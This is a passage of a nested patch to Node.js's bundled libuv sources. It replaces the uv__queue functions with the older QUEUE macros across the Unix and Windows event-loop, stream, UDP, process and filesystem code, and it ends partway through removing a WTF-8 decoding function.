+ /* Free resources */
+diff --git a/deps/uv/src/unix/os390-syscalls.h b/deps/uv/src/unix/os390-syscalls.h
+index d5f3bcf8b1c..9f504171d85 100644
+--- a/deps/uv/src/unix/os390-syscalls.h
++++ b/deps/uv/src/unix/os390-syscalls.h
+@@ -45,7 +45,7 @@ struct epoll_event {
+ };
+
+ typedef struct {
+- struct uv__queue member;
++ QUEUE member;
+ struct pollfd* items;
+ unsigned long size;
+ int msg_queue;
+diff --git a/deps/uv/src/unix/os390.c b/deps/uv/src/unix/os390.c
+index bbd37692d1d..a87c2d77faf 100644
+--- a/deps/uv/src/unix/os390.c
++++ b/deps/uv/src/unix/os390.c
+@@ -815,7 +815,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ uv__os390_epoll* ep;
+ int have_signals;
+ int real_timeout;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ uint64_t base;
+ int count;
+@@ -827,19 +827,19 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int reset_timeout;
+
+ if (loop->nfds == 0) {
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ return;
+ }
+
+ lfields = uv__get_internal_fields(loop);
+
+- while (!uv__queue_empty(&loop->watcher_queue)) {
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+ uv_stream_t* stream;
+
+- q = uv__queue_head(&loop->watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+
+ assert(w->pevents != 0);
+ assert(w->fd >= 0);
+diff --git a/deps/uv/src/unix/pipe.c b/deps/uv/src/unix/pipe.c
+index d332f351830..ce91ac49b30 100644
+--- a/deps/uv/src/unix/pipe.c
++++ b/deps/uv/src/unix/pipe.c
+@@ -297,7 +297,7 @@ out:
+ uv__req_init(handle->loop, req, UV_CONNECT);
+ req->handle = (uv_stream_t*)handle;
+ req->cb = cb;
+- uv__queue_init(&req->queue);
++ QUEUE_INIT(&req->queue);
+
+ /* Force callback to run on next tick in case of error. */
+ if (err)
+diff --git a/deps/uv/src/unix/posix-poll.c b/deps/uv/src/unix/posix-poll.c
+index 2e016c2fbae..7e7de86845d 100644
+--- a/deps/uv/src/unix/posix-poll.c
++++ b/deps/uv/src/unix/posix-poll.c
+@@ -137,7 +137,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ sigset_t set;
+ uint64_t time_base;
+ uint64_t time_diff;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ size_t i;
+ unsigned int nevents;
+@@ -149,19 +149,19 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int reset_timeout;
+
+ if (loop->nfds == 0) {
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ return;
+ }
+
+ lfields = uv__get_internal_fields(loop);
+
+ /* Take queued watchers and add their fds to our poll fds array. */
+- while (!uv__queue_empty(&loop->watcher_queue)) {
+- q = uv__queue_head(&loop->watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+ assert(w->pevents != 0);
+ assert(w->fd >= 0);
+ assert(w->fd < (int) loop->nwatchers);
+diff --git a/deps/uv/src/unix/process.c b/deps/uv/src/unix/process.c
+index dd58c18d9b9..bbf367b57d3 100644
+--- a/deps/uv/src/unix/process.c
++++ b/deps/uv/src/unix/process.c
+@@ -108,17 +108,17 @@ void uv__wait_children(uv_loop_t* loop) {
+ int status;
+ int options;
+ pid_t pid;
+- struct uv__queue pending;
+- struct uv__queue* q;
+- struct uv__queue* h;
++ QUEUE pending;
++ QUEUE* q;
++ QUEUE* h;
+
+- uv__queue_init(&pending);
++ QUEUE_INIT(&pending);
+
+ h = &loop->process_handles;
+- q = uv__queue_head(h);
++ q = QUEUE_HEAD(h);
+ while (q != h) {
+- process = uv__queue_data(q, uv_process_t, queue);
+- q = uv__queue_next(q);
++ process = QUEUE_DATA(q, uv_process_t, queue);
++ q = QUEUE_NEXT(q);
+
+ #ifndef UV_USE_SIGCHLD
+ if ((process->flags & UV_HANDLE_REAP) == 0)
+@@ -149,18 +149,18 @@ void uv__wait_children(uv_loop_t* loop) {
+
+ assert(pid == process->pid);
+ process->status = status;
+- uv__queue_remove(&process->queue);
+- uv__queue_insert_tail(&pending, &process->queue);
++ QUEUE_REMOVE(&process->queue);
++ QUEUE_INSERT_TAIL(&pending, &process->queue);
+ }
+
+ h = &pending;
+- q = uv__queue_head(h);
++ q = QUEUE_HEAD(h);
+ while (q != h) {
+- process = uv__queue_data(q, uv_process_t, queue);
+- q = uv__queue_next(q);
++ process = QUEUE_DATA(q, uv_process_t, queue);
++ q = QUEUE_NEXT(q);
+
+- uv__queue_remove(&process->queue);
+- uv__queue_init(&process->queue);
++ QUEUE_REMOVE(&process->queue);
++ QUEUE_INIT(&process->queue);
+ uv__handle_stop(process);
+
+ if (process->exit_cb == NULL)
+@@ -176,7 +176,7 @@ void uv__wait_children(uv_loop_t* loop) {
+
+ process->exit_cb(process, exit_status, term_signal);
+ }
+- assert(uv__queue_empty(&pending));
++ assert(QUEUE_EMPTY(&pending));
+ }
+
+ /*
+@@ -978,7 +978,7 @@ int uv_spawn(uv_loop_t* loop,
+ UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS)));
+
+ uv__handle_init(loop, (uv_handle_t*)process, UV_PROCESS);
+- uv__queue_init(&process->queue);
++ QUEUE_INIT(&process->queue);
+ process->status = 0;
+
+ stdio_count = options->stdio_count;
+@@ -1041,7 +1041,7 @@ int uv_spawn(uv_loop_t* loop,
+
+ process->pid = pid;
+ process->exit_cb = options->exit_cb;
+- uv__queue_insert_tail(&loop->process_handles, &process->queue);
++ QUEUE_INSERT_TAIL(&loop->process_handles, &process->queue);
+ uv__handle_start(process);
+ }
+
+@@ -1103,10 +1103,10 @@ int uv_kill(int pid, int signum) {
+
+
+ void uv__process_close(uv_process_t* handle) {
+- uv__queue_remove(&handle->queue);
++ QUEUE_REMOVE(&handle->queue);
+ uv__handle_stop(handle);
+ #ifdef UV_USE_SIGCHLD
+- if (uv__queue_empty(&handle->loop->process_handles))
++ if (QUEUE_EMPTY(&handle->loop->process_handles))
+ uv_signal_stop(&handle->loop->child_watcher);
+ #endif
+ }
+diff --git a/deps/uv/src/unix/signal.c b/deps/uv/src/unix/signal.c
+index 63aba5a60e0..bb70523f561 100644
+--- a/deps/uv/src/unix/signal.c
++++ b/deps/uv/src/unix/signal.c
+@@ -291,16 +291,16 @@ int uv__signal_loop_fork(uv_loop_t* loop) {
+
+
+ void uv__signal_loop_cleanup(uv_loop_t* loop) {
+- struct uv__queue* q;
++ QUEUE* q;
+
+ /* Stop all the signal watchers that are still attached to this loop. This
+ * ensures that the (shared) signal tree doesn't contain any invalid entries
+ * entries, and that signal handlers are removed when appropriate.
+- * It's safe to use uv__queue_foreach here because the handles and the handle
++ * It's safe to use QUEUE_FOREACH here because the handles and the handle
+ * queue are not modified by uv__signal_stop().
+ */
+- uv__queue_foreach(q, &loop->handle_queue) {
+- uv_handle_t* handle = uv__queue_data(q, uv_handle_t, handle_queue);
++ QUEUE_FOREACH(q, &loop->handle_queue) {
++ uv_handle_t* handle = QUEUE_DATA(q, uv_handle_t, handle_queue);
+
+ if (handle->type == UV_SIGNAL)
+ uv__signal_stop((uv_signal_t*) handle);
+diff --git a/deps/uv/src/unix/stream.c b/deps/uv/src/unix/stream.c
+index 28c4d5463c4..03f92b5045a 100644
+--- a/deps/uv/src/unix/stream.c
++++ b/deps/uv/src/unix/stream.c
+@@ -94,8 +94,8 @@ void uv__stream_init(uv_loop_t* loop,
+ stream->accepted_fd = -1;
+ stream->queued_fds = NULL;
+ stream->delayed_error = 0;
+- uv__queue_init(&stream->write_queue);
+- uv__queue_init(&stream->write_completed_queue);
++ QUEUE_INIT(&stream->write_queue);
++ QUEUE_INIT(&stream->write_completed_queue);
+ stream->write_queue_size = 0;
+
+ if (loop->emfile_fd == -1) {
+@@ -439,15 +439,15 @@ int uv__stream_open(uv_stream_t* stream, int fd, int flags) {
+
+ void uv__stream_flush_write_queue(uv_stream_t* stream, int error) {
+ uv_write_t* req;
+- struct uv__queue* q;
+- while (!uv__queue_empty(&stream->write_queue)) {
+- q = uv__queue_head(&stream->write_queue);
+- uv__queue_remove(q);
++ QUEUE* q;
++ while (!QUEUE_EMPTY(&stream->write_queue)) {
++ q = QUEUE_HEAD(&stream->write_queue);
++ QUEUE_REMOVE(q);
+
+- req = uv__queue_data(q, uv_write_t, queue);
++ req = QUEUE_DATA(q, uv_write_t, queue);
+ req->error = error;
+
+- uv__queue_insert_tail(&stream->write_completed_queue, &req->queue);
++ QUEUE_INSERT_TAIL(&stream->write_completed_queue, &req->queue);
+ }
+ }
+
+@@ -627,7 +627,7 @@ static void uv__drain(uv_stream_t* stream) {
+ uv_shutdown_t* req;
+ int err;
+
+- assert(uv__queue_empty(&stream->write_queue));
++ assert(QUEUE_EMPTY(&stream->write_queue));
+ if (!(stream->flags & UV_HANDLE_CLOSING)) {
+ uv__io_stop(stream->loop, &stream->io_watcher, POLLOUT);
+ uv__stream_osx_interrupt_select(stream);
+@@ -714,7 +714,7 @@ static void uv__write_req_finish(uv_write_t* req) {
+ uv_stream_t* stream = req->handle;
+
+ /* Pop the req off tcp->write_queue. */
+- uv__queue_remove(&req->queue);
++ QUEUE_REMOVE(&req->queue);
+
+ /* Only free when there was no error. On error, we touch up write_queue_size
+ * right before making the callback. The reason we don't do that right away
+@@ -731,7 +731,7 @@ static void uv__write_req_finish(uv_write_t* req) {
+ /* Add it to the write_completed_queue where it will have its
+ * callback called in the near future.
+ */
+- uv__queue_insert_tail(&stream->write_completed_queue, &req->queue);
++ QUEUE_INSERT_TAIL(&stream->write_completed_queue, &req->queue);
+ uv__io_feed(stream->loop, &stream->io_watcher);
+ }
+
+@@ -837,7 +837,7 @@ static int uv__try_write(uv_stream_t* stream,
+ }
+
+ static void uv__write(uv_stream_t* stream) {
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_write_t* req;
+ ssize_t n;
+ int count;
+@@ -851,11 +851,11 @@ static void uv__write(uv_stream_t* stream) {
+ count = 32;
+
+ for (;;) {
+- if (uv__queue_empty(&stream->write_queue))
++ if (QUEUE_EMPTY(&stream->write_queue))
+ return;
+
+- q = uv__queue_head(&stream->write_queue);
+- req = uv__queue_data(q, uv_write_t, queue);
++ q = QUEUE_HEAD(&stream->write_queue);
++ req = QUEUE_DATA(q, uv_write_t, queue);
+ assert(req->handle == stream);
+
+ n = uv__try_write(stream,
+@@ -899,19 +899,19 @@ error:
+
+ static void uv__write_callbacks(uv_stream_t* stream) {
+ uv_write_t* req;
+- struct uv__queue* q;
+- struct uv__queue pq;
++ QUEUE* q;
++ QUEUE pq;
+
+- if (uv__queue_empty(&stream->write_completed_queue))
++ if (QUEUE_EMPTY(&stream->write_completed_queue))
+ return;
+
+- uv__queue_move(&stream->write_completed_queue, &pq);
++ QUEUE_MOVE(&stream->write_completed_queue, &pq);
+
+- while (!uv__queue_empty(&pq)) {
++ while (!QUEUE_EMPTY(&pq)) {
+ /* Pop a req off write_completed_queue. */
+- q = uv__queue_head(&pq);
+- req = uv__queue_data(q, uv_write_t, queue);
+- uv__queue_remove(q);
++ q = QUEUE_HEAD(&pq);
++ req = QUEUE_DATA(q, uv_write_t, queue);
++ QUEUE_REMOVE(q);
+ uv__req_unregister(stream->loop, req);
+
+ if (req->bufs != NULL) {
+@@ -1174,7 +1174,7 @@ int uv_shutdown(uv_shutdown_t* req, uv_stream_t* stream, uv_shutdown_cb cb) {
+ stream->shutdown_req = req;
+ stream->flags &= ~UV_HANDLE_WRITABLE;
+
+- if (uv__queue_empty(&stream->write_queue))
++ if (QUEUE_EMPTY(&stream->write_queue))
+ uv__io_feed(stream->loop, &stream->io_watcher);
+
+ return 0;
+@@ -1227,7 +1227,7 @@ static void uv__stream_io(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ uv__write_callbacks(stream);
+
+ /* Write queue drained. */
+- if (uv__queue_empty(&stream->write_queue))
++ if (QUEUE_EMPTY(&stream->write_queue))
+ uv__drain(stream);
+ }
+ }
+@@ -1270,7 +1270,7 @@ static void uv__stream_connect(uv_stream_t* stream) {
+ stream->connect_req = NULL;
+ uv__req_unregister(stream->loop, req);
+
+- if (error < 0 || uv__queue_empty(&stream->write_queue)) {
++ if (error < 0 || QUEUE_EMPTY(&stream->write_queue)) {
+ uv__io_stop(stream->loop, &stream->io_watcher, POLLOUT);
+ }
+
+@@ -1352,7 +1352,7 @@ int uv_write2(uv_write_t* req,
+ req->handle = stream;
+ req->error = 0;
+ req->send_handle = send_handle;
+- uv__queue_init(&req->queue);
++ QUEUE_INIT(&req->queue);
+
+ req->bufs = req->bufsml;
+ if (nbufs > ARRAY_SIZE(req->bufsml))
+@@ -1367,7 +1367,7 @@ int uv_write2(uv_write_t* req,
+ stream->write_queue_size += uv__count_bufs(bufs, nbufs);
+
+ /* Append the request to write_queue. */
+- uv__queue_insert_tail(&stream->write_queue, &req->queue);
++ QUEUE_INSERT_TAIL(&stream->write_queue, &req->queue);
+
+ /* If the queue was empty when this function began, we should attempt to
+ * do the write immediately. Otherwise start the write_watcher and wait
+diff --git a/deps/uv/src/unix/sunos.c b/deps/uv/src/unix/sunos.c
+index 2d6bae79604..75b6fbad493 100644
+--- a/deps/uv/src/unix/sunos.c
++++ b/deps/uv/src/unix/sunos.c
+@@ -148,7 +148,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ struct port_event events[1024];
+ struct port_event* pe;
+ struct timespec spec;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ sigset_t* pset;
+ sigset_t set;
+@@ -166,16 +166,16 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int reset_timeout;
+
+ if (loop->nfds == 0) {
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ return;
+ }
+
+- while (!uv__queue_empty(&loop->watcher_queue)) {
+- q = uv__queue_head(&loop->watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+ assert(w->pevents != 0);
+
+ if (port_associate(loop->backend_fd,
+@@ -316,8 +316,8 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ continue; /* Disabled by callback. */
+
+ /* Events Ports operates in oneshot mode, rearm timer on next run. */
+- if (w->pevents != 0 && uv__queue_empty(&w->watcher_queue))
+- uv__queue_insert_tail(&loop->watcher_queue, &w->watcher_queue);
++ if (w->pevents != 0 && QUEUE_EMPTY(&w->watcher_queue))
++ QUEUE_INSERT_TAIL(&loop->watcher_queue, &w->watcher_queue);
+ }
+
+ uv__metrics_inc_events(loop, nevents);
+diff --git a/deps/uv/src/unix/tcp.c b/deps/uv/src/unix/tcp.c
+index d6c848f4610..ab4e06c2f67 100644
+--- a/deps/uv/src/unix/tcp.c
++++ b/deps/uv/src/unix/tcp.c
+@@ -124,7 +124,7 @@ int uv_tcp_init_ex(uv_loop_t* loop, uv_tcp_t* tcp, unsigned int flags) {
+ if (domain != AF_UNSPEC) {
+ err = new_socket(tcp, domain, 0);
+ if (err) {
+- uv__queue_remove(&tcp->handle_queue);
++ QUEUE_REMOVE(&tcp->handle_queue);
+ if (tcp->io_watcher.fd != -1)
+ uv__close(tcp->io_watcher.fd);
+ tcp->io_watcher.fd = -1;
+@@ -252,7 +252,7 @@ out:
+ uv__req_init(handle->loop, req, UV_CONNECT);
+ req->cb = cb;
+ req->handle = (uv_stream_t*) handle;
+- uv__queue_init(&req->queue);
++ QUEUE_INIT(&req->queue);
+ handle->connect_req = req;
+
+ uv__io_start(handle->loop, &handle->io_watcher, POLLOUT);
+diff --git a/deps/uv/src/unix/tty.c b/deps/uv/src/unix/tty.c
+index d099bdb3b67..7a5390c1a8b 100644
+--- a/deps/uv/src/unix/tty.c
++++ b/deps/uv/src/unix/tty.c
+@@ -222,7 +222,7 @@ skip:
+ int rc = r;
+ if (newfd != -1)
+ uv__close(newfd);
+- uv__queue_remove(&tty->handle_queue);
++ QUEUE_REMOVE(&tty->handle_queue);
+ do
+ r = fcntl(fd, F_SETFL, saved_flags);
+ while (r == -1 && errno == EINTR);
+diff --git a/deps/uv/src/unix/udp.c b/deps/uv/src/unix/udp.c
+index c2814512a5f..f556808fbae 100644
+--- a/deps/uv/src/unix/udp.c
++++ b/deps/uv/src/unix/udp.c
+@@ -62,18 +62,18 @@ void uv__udp_close(uv_udp_t* handle) {
+
+ void uv__udp_finish_close(uv_udp_t* handle) {
+ uv_udp_send_t* req;
+- struct uv__queue* q;
++ QUEUE* q;
+
+ assert(!uv__io_active(&handle->io_watcher, POLLIN | POLLOUT));
+ assert(handle->io_watcher.fd == -1);
+
+- while (!uv__queue_empty(&handle->write_queue)) {
+- q = uv__queue_head(&handle->write_queue);
+- uv__queue_remove(q);
++ while (!QUEUE_EMPTY(&handle->write_queue)) {
++ q = QUEUE_HEAD(&handle->write_queue);
++ QUEUE_REMOVE(q);
+
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ req->status = UV_ECANCELED;
+- uv__queue_insert_tail(&handle->write_completed_queue, &req->queue);
++ QUEUE_INSERT_TAIL(&handle->write_completed_queue, &req->queue);
+ }
+
+ uv__udp_run_completed(handle);
+@@ -90,16 +90,16 @@ void uv__udp_finish_close(uv_udp_t* handle) {
+
+ static void uv__udp_run_completed(uv_udp_t* handle) {
+ uv_udp_send_t* req;
+- struct uv__queue* q;
++ QUEUE* q;
+
+ assert(!(handle->flags & UV_HANDLE_UDP_PROCESSING));
+ handle->flags |= UV_HANDLE_UDP_PROCESSING;
+
+- while (!uv__queue_empty(&handle->write_completed_queue)) {
+- q = uv__queue_head(&handle->write_completed_queue);
+- uv__queue_remove(q);
++ while (!QUEUE_EMPTY(&handle->write_completed_queue)) {
++ q = QUEUE_HEAD(&handle->write_completed_queue);
++ QUEUE_REMOVE(q);
+
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ uv__req_unregister(handle->loop, req);
+
+ handle->send_queue_size -= uv__count_bufs(req->bufs, req->nbufs);
+@@ -121,7 +121,7 @@ static void uv__udp_run_completed(uv_udp_t* handle) {
+ req->send_cb(req, req->status);
+ }
+
+- if (uv__queue_empty(&handle->write_queue)) {
++ if (QUEUE_EMPTY(&handle->write_queue)) {
+ /* Pending queue and completion queue empty, stop watcher. */
+ uv__io_stop(handle->loop, &handle->io_watcher, POLLOUT);
+ if (!uv__io_active(&handle->io_watcher, POLLIN))
+@@ -280,20 +280,20 @@ static void uv__udp_sendmsg(uv_udp_t* handle) {
+ uv_udp_send_t* req;
+ struct mmsghdr h[20];
+ struct mmsghdr* p;
+- struct uv__queue* q;
++ QUEUE* q;
+ ssize_t npkts;
+ size_t pkts;
+ size_t i;
+
+- if (uv__queue_empty(&handle->write_queue))
++ if (QUEUE_EMPTY(&handle->write_queue))
+ return;
+
+ write_queue_drain:
+- for (pkts = 0, q = uv__queue_head(&handle->write_queue);
++ for (pkts = 0, q = QUEUE_HEAD(&handle->write_queue);
+ pkts < ARRAY_SIZE(h) && q != &handle->write_queue;
+- ++pkts, q = uv__queue_head(q)) {
++ ++pkts, q = QUEUE_HEAD(q)) {
+ assert(q != NULL);
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ assert(req != NULL);
+
+ p = &h[pkts];
+@@ -325,16 +325,16 @@ write_queue_drain:
+ if (npkts < 1) {
+ if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS)
+ return;
+- for (i = 0, q = uv__queue_head(&handle->write_queue);
++ for (i = 0, q = QUEUE_HEAD(&handle->write_queue);
+ i < pkts && q != &handle->write_queue;
+- ++i, q = uv__queue_head(&handle->write_queue)) {
++ ++i, q = QUEUE_HEAD(&handle->write_queue)) {
+ assert(q != NULL);
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ assert(req != NULL);
+
+ req->status = UV__ERR(errno);
+- uv__queue_remove(&req->queue);
+- uv__queue_insert_tail(&handle->write_completed_queue, &req->queue);
++ QUEUE_REMOVE(&req->queue);
++ QUEUE_INSERT_TAIL(&handle->write_completed_queue, &req->queue);
+ }
+ uv__io_feed(handle->loop, &handle->io_watcher);
+ return;
+@@ -343,11 +343,11 @@ write_queue_drain:
+ /* Safety: npkts known to be >0 below. Hence cast from ssize_t
+ * to size_t safe.
+ */
+- for (i = 0, q = uv__queue_head(&handle->write_queue);
++ for (i = 0, q = QUEUE_HEAD(&handle->write_queue);
+ i < (size_t)npkts && q != &handle->write_queue;
+- ++i, q = uv__queue_head(&handle->write_queue)) {
++ ++i, q = QUEUE_HEAD(&handle->write_queue)) {
+ assert(q != NULL);
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ assert(req != NULL);
+
+ req->status = req->bufs[0].len;
+@@ -357,25 +357,25 @@ write_queue_drain:
+ * why we don't handle partial writes. Just pop the request
+ * off the write queue and onto the completed queue, done.
+ */
+- uv__queue_remove(&req->queue);
+- uv__queue_insert_tail(&handle->write_completed_queue, &req->queue);
++ QUEUE_REMOVE(&req->queue);
++ QUEUE_INSERT_TAIL(&handle->write_completed_queue, &req->queue);
+ }
+
+ /* couldn't batch everything, continue sending (jump to avoid stack growth) */
+- if (!uv__queue_empty(&handle->write_queue))
++ if (!QUEUE_EMPTY(&handle->write_queue))
+ goto write_queue_drain;
+ uv__io_feed(handle->loop, &handle->io_watcher);
+ #else /* __linux__ || ____FreeBSD__ */
+ uv_udp_send_t* req;
+ struct msghdr h;
+- struct uv__queue* q;
++ QUEUE* q;
+ ssize_t size;
+
+- while (!uv__queue_empty(&handle->write_queue)) {
+- q = uv__queue_head(&handle->write_queue);
++ while (!QUEUE_EMPTY(&handle->write_queue)) {
++ q = QUEUE_HEAD(&handle->write_queue);
+ assert(q != NULL);
+
+- req = uv__queue_data(q, uv_udp_send_t, queue);
++ req = QUEUE_DATA(q, uv_udp_send_t, queue);
+ assert(req != NULL);
+
+ memset(&h, 0, sizeof h);
+@@ -414,8 +414,8 @@ write_queue_drain:
+ * why we don't handle partial writes. Just pop the request
+ * off the write queue and onto the completed queue, done.
+ */
+- uv__queue_remove(&req->queue);
+- uv__queue_insert_tail(&handle->write_completed_queue, &req->queue);
++ QUEUE_REMOVE(&req->queue);
++ QUEUE_INSERT_TAIL(&handle->write_completed_queue, &req->queue);
+ uv__io_feed(handle->loop, &handle->io_watcher);
+ }
+ #endif /* __linux__ || ____FreeBSD__ */
+@@ -729,7 +729,7 @@ int uv__udp_send(uv_udp_send_t* req,
+ memcpy(req->bufs, bufs, nbufs * sizeof(bufs[0]));
+ handle->send_queue_size += uv__count_bufs(req->bufs, req->nbufs);
+ handle->send_queue_count++;
+- uv__queue_insert_tail(&handle->write_queue, &req->queue);
++ QUEUE_INSERT_TAIL(&handle->write_queue, &req->queue);
+ uv__handle_start(handle);
+
+ if (empty_queue && !(handle->flags & UV_HANDLE_UDP_PROCESSING)) {
+@@ -739,7 +739,7 @@ int uv__udp_send(uv_udp_send_t* req,
+ * away. In such cases the `io_watcher` has to be queued for asynchronous
+ * write.
+ */
+- if (!uv__queue_empty(&handle->write_queue))
++ if (!QUEUE_EMPTY(&handle->write_queue))
+ uv__io_start(handle->loop, &handle->io_watcher, POLLOUT);
+ } else {
+ uv__io_start(handle->loop, &handle->io_watcher, POLLOUT);
+@@ -1007,8 +1007,8 @@ int uv__udp_init_ex(uv_loop_t* loop,
+ handle->send_queue_size = 0;
+ handle->send_queue_count = 0;
+ uv__io_init(&handle->io_watcher, uv__udp_io, fd);
+- uv__queue_init(&handle->write_queue);
+- uv__queue_init(&handle->write_completed_queue);
++ QUEUE_INIT(&handle->write_queue);
++ QUEUE_INIT(&handle->write_completed_queue);
+
+ return 0;
+ }
+diff --git a/deps/uv/src/uv-common.c b/deps/uv/src/uv-common.c
+index 916f3f4e006..cec771fab21 100644
+--- a/deps/uv/src/uv-common.c
++++ b/deps/uv/src/uv-common.c
+@@ -533,17 +533,17 @@ int uv_udp_recv_stop(uv_udp_t* handle) {
+
+
+ void uv_walk(uv_loop_t* loop, uv_walk_cb walk_cb, void* arg) {
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ uv_handle_t* h;
+
+- uv__queue_move(&loop->handle_queue, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- h = uv__queue_data(q, uv_handle_t, handle_queue);
++ QUEUE_MOVE(&loop->handle_queue, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ h = QUEUE_DATA(q, uv_handle_t, handle_queue);
+
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&loop->handle_queue, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&loop->handle_queue, q);
+
+ if (h->flags & UV_HANDLE_INTERNAL) continue;
+ walk_cb(h, arg);
+@@ -553,14 +553,14 @@ void uv_walk(uv_loop_t* loop, uv_walk_cb walk_cb, void* arg) {
+
+ static void uv__print_handles(uv_loop_t* loop, int only_active, FILE* stream) {
+ const char* type;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_handle_t* h;
+
+ if (loop == NULL)
+ loop = uv_default_loop();
+
+- uv__queue_foreach(q, &loop->handle_queue) {
+- h = uv__queue_data(q, uv_handle_t, handle_queue);
++ QUEUE_FOREACH(q, &loop->handle_queue) {
++ h = QUEUE_DATA(q, uv_handle_t, handle_queue);
+
+ if (only_active && !uv__is_active(h))
+ continue;
+@@ -846,7 +846,7 @@ uv_loop_t* uv_loop_new(void) {
+
+
+ int uv_loop_close(uv_loop_t* loop) {
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_handle_t* h;
+ #ifndef NDEBUG
+ void* saved_data;
+@@ -855,8 +855,8 @@ int uv_loop_close(uv_loop_t* loop) {
+ if (uv__has_active_reqs(loop))
+ return UV_EBUSY;
+
+- uv__queue_foreach(q, &loop->handle_queue) {
+- h = uv__queue_data(q, uv_handle_t, handle_queue);
++ QUEUE_FOREACH(q, &loop->handle_queue) {
++ h = QUEUE_DATA(q, uv_handle_t, handle_queue);
+ if (!(h->flags & UV_HANDLE_INTERNAL))
+ return UV_EBUSY;
+ }
+diff --git a/deps/uv/src/uv-common.h b/deps/uv/src/uv-common.h
+index cd57e5a3515..decde5362c8 100644
+--- a/deps/uv/src/uv-common.h
++++ b/deps/uv/src/uv-common.h
+@@ -323,7 +323,7 @@ void uv__threadpool_cleanup(void);
+ (h)->loop = (loop_); \
+ (h)->type = (type_); \
+ (h)->flags = UV_HANDLE_REF; /* Ref the loop when active. */ \
+- uv__queue_insert_tail(&(loop_)->handle_queue, &(h)->handle_queue); \
++ QUEUE_INSERT_TAIL(&(loop_)->handle_queue, &(h)->handle_queue); \
+ uv__handle_platform_init(h); \
+ } \
+ while (0)
+@@ -415,7 +415,6 @@ struct uv__iou {
+ size_t sqelen;
+ int ringfd;
+ uint32_t in_flight;
+- uint32_t flags;
+ };
+ #endif /* __linux__ */
+
+diff --git a/deps/uv/src/win/core.c b/deps/uv/src/win/core.c
+index e9885a0f1ff..9a3be58849a 100644
+--- a/deps/uv/src/win/core.c
++++ b/deps/uv/src/win/core.c
+@@ -255,8 +255,8 @@ int uv_loop_init(uv_loop_t* loop) {
+ loop->time = 0;
+ uv_update_time(loop);
+
+- uv__queue_init(&loop->wq);
+- uv__queue_init(&loop->handle_queue);
++ QUEUE_INIT(&loop->wq);
++ QUEUE_INIT(&loop->handle_queue);
+ loop->active_reqs.count = 0;
+ loop->active_handles = 0;
+
+@@ -358,7 +358,7 @@ void uv__loop_close(uv_loop_t* loop) {
+ }
+
+ uv_mutex_lock(&loop->wq_mutex);
+- assert(uv__queue_empty(&loop->wq) && "thread pool work queue not empty!");
++ assert(QUEUE_EMPTY(&loop->wq) && "thread pool work queue not empty!");
+ assert(!uv__has_active_reqs(loop));
+ uv_mutex_unlock(&loop->wq_mutex);
+ uv_mutex_destroy(&loop->wq_mutex);
+diff --git a/deps/uv/src/win/fs.c b/deps/uv/src/win/fs.c
+index fc209c54f47..deb9438d689 100644
+--- a/deps/uv/src/win/fs.c
++++ b/deps/uv/src/win/fs.c
+@@ -144,97 +144,26 @@ void uv__fs_init(void) {
+ }
+
+
+-static int32_t fs__decode_wtf8_char(const char** input) {
+- uint32_t code_point;
+- uint8_t b1;
+- uint8_t b2;
+- uint8_t b3;
+- uint8_t b4;
+-
+- b1 = **input;
+- if (b1 <= 0x7F)
+- return b1; /* ASCII code point */
+- if (b1 < 0xC2)
